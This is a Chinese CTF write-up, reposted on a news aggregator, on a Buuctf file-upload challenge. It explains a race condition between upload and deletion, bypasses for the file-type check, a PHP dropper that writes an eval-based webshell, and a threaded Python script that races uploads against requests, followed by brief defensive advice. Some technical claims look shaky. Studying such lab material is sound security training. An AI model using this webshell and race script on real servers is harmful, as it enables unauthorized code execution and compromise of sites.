当前位置: 首页 > news >正文

Buuctf N1BOOK [第二章 web进阶]文件上传:从源码泄露到条件竞争漏洞的实战利用

1. 源码泄露与文件上传逻辑分析

打开题目页面,首先注意到页面底部直接暴露了PHP源代码。这种源码泄露在CTF比赛中很常见,通常意味着出题人故意留给我们分析漏洞的线索。仔细阅读代码会发现几个关键点:

  1. 文件上传功能使用标准的PHP$_FILES处理流程
  2. 上传目录采用upload/随机值/的结构,随机值通过md5(time().rand(1000,9999))生成
  3. 文件类型限制为zip、jpg、gif、png四种格式
  4. 每5分钟会清理一次上传目录中的非图片文件

特别值得注意的是move_uploaded_file函数的调用方式。它会把文件保存到临时目录而非直接放在upload目录下,这为后续的条件竞争利用埋下了伏笔。我在测试时发现,虽然前端提示上传成功,但实际访问文件总是失败,就是因为这个临时目录机制在作祟。

2. 条件竞争漏洞原理剖析

条件竞争(Race Condition)本质上是由于程序在多线程/多进程环境下对共享资源的操作顺序不可控导致的漏洞。在这个题目中,具体表现为:

  1. 文件上传后会先保存在临时目录
  2. 系统会检查文件类型并删除非法文件
  3. 但检查和删除操作之间存在时间差

通过Burp Suite的Intruder模块,我们可以同时发起大量上传请求和访问请求。当某个上传的PHP文件在被删除前被访问到,就能成功执行其中的代码。我在实际测试中发现,大约每50次尝试能成功1-2次,成功率取决于服务器性能。

3. 实战攻击链构建

3.1 恶意文件构造

首先准备一个特殊的PHP文件1.php,内容如下:

<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>'); ?>

这个脚本的作用是在上级目录生成一个webshell文件。注意这里使用相对路径../是为了突破临时目录的限制。

3.2 文件上传绕过技巧

虽然系统限制上传类型,但可以通过以下方法绕过:

  1. 修改文件后缀为1.php.jpg
  2. 使用Burp修改Content-Type为image/jpeg
  3. 利用Apache解析漏洞,最终文件名构造为1.php.zzz

我测试发现,使用%00截断的方法在这个环境不适用,因为PHP版本较高已经修复此漏洞。

3.3 自动化攻击脚本

为了提高成功率,我编写了Python自动化脚本:

import requests import threading url = "http://target.com/upload.php" def upload(): files = {'file': ('1.php.jpg', open('1.php','rb'), 'image/jpeg')} requests.post(url, files=files) def access(): while True: r = requests.get("http://target.com/upload/1.php") if r.status_code == 200: print("Success!") break for i in range(20): t1 = threading.Thread(target=upload) t2 = threading.Thread(target=access) t1.start() t2.start()

这个脚本会同时启动20个上传线程和20个访问线程,大大提高了攻击成功率。

4. 防御方案与思考

从防御角度,可以采取以下措施:

  1. 使用文件内容检测而非扩展名判断
  2. 对上传文件进行重命名,避免目录遍历
  3. 设置文件权限为不可执行
  4. 使用同步锁机制处理文件操作

在实际渗透测试中,遇到类似的文件上传功能时,我通常会先检查是否存在源码泄露,然后分析文件处理逻辑中的时间窗口。有时候看似严密的防御,可能就因为几毫秒的时间差而功亏一篑。

http://www.cnnetsun.cn/news/1945788.html

相关文章:

  • 终极指南:在Windows 10上安装Android子系统的完整教程
  • Java AI开发入门02-创建项目
  • Makefile里的‘秘密武器’:巧用MAKECMDGOALS变量实现一键编译、测试、清理
  • 以国货为潮,赴时代之约
  • 在电脑上玩Switch游戏:Ryujinx模拟器完整指南与实用技巧
  • STM32F405RG电机项目HardFault排查记:从168MHz降到84MHz的实战避坑
  • 台积电2026年Q1财报亮眼:收入增长、毛利率提升,AI芯片成关键驱动力
  • 编译问题-make update-api-Api 小结
  • **RISC-V架构下的高效嵌入式开发:从指令集到裸机编程的实战解析**在当前国产化芯片浪潮中,*8RIS
  • 终极Windows更新修复指南:Reset Windows Update Tool一键解决方案
  • 小白程序员必收藏!超全面大模型学习路线,从入门到实战,轻松提升竞争力
  • FPGA新手避坑:用Verilog实现边沿检测时,为什么你的仿真波形总是不对?
  • 【软件质量与测试】实验四: 面向对象测试
  • 3步搭建Windows AirPlay 2接收器:让Windows电脑变身苹果投屏中心
  • 2025届毕业生推荐的十大AI辅助写作助手解析与推荐
  • 2026届最火的AI学术网站实测分析
  • 5步解锁游戏手柄的全部潜力:用AntiMicroX让任何PC游戏完美适配手柄
  • 如何让Axure RP说中文:3分钟完成界面汉化的完整指南
  • [Spark] 图解Job、Stage、Task的生成逻辑与实战推演
  • 【离线部署实战】—— 攻克PyInstaller依赖地狱的完整指南
  • CANoe Panel控件实战:从开关到仪表盘的12种控件配置详解(附避坑指南)
  • 如何用InceptionTime实现时间序列分类的突破性性能
  • Vivado物理优化实战:如何用phys_opt_design命令提升时序性能(附完整Tcl脚本)
  • 如何用Hourglass倒计时器彻底改变你的时间管理方式:终极Windows时间管理工具完整指南
  • 如何在PC上玩Switch游戏:Ryujinx模拟器终极入门指南
  • 异构计算时代的安防底座:基于 Docker 的 X86/ARM 与 GPU/NPU 混合部署架构解析
  • 用OpenCV+ROS搞定无人机视觉定位:手把手教你配置vision_to_mavros节点
  • 从PQ到WFQ:深入解析华为设备队列调度技术的演进与实战
  • 周红伟:雷军对得起营销大师吗?雷军回应被贴上“营销大师”标签:表面在夸我,实际在黑我,去年很长一段时间不愿直播
  • Cal.com 开源五年后转向闭源,只为保护客户数据安全!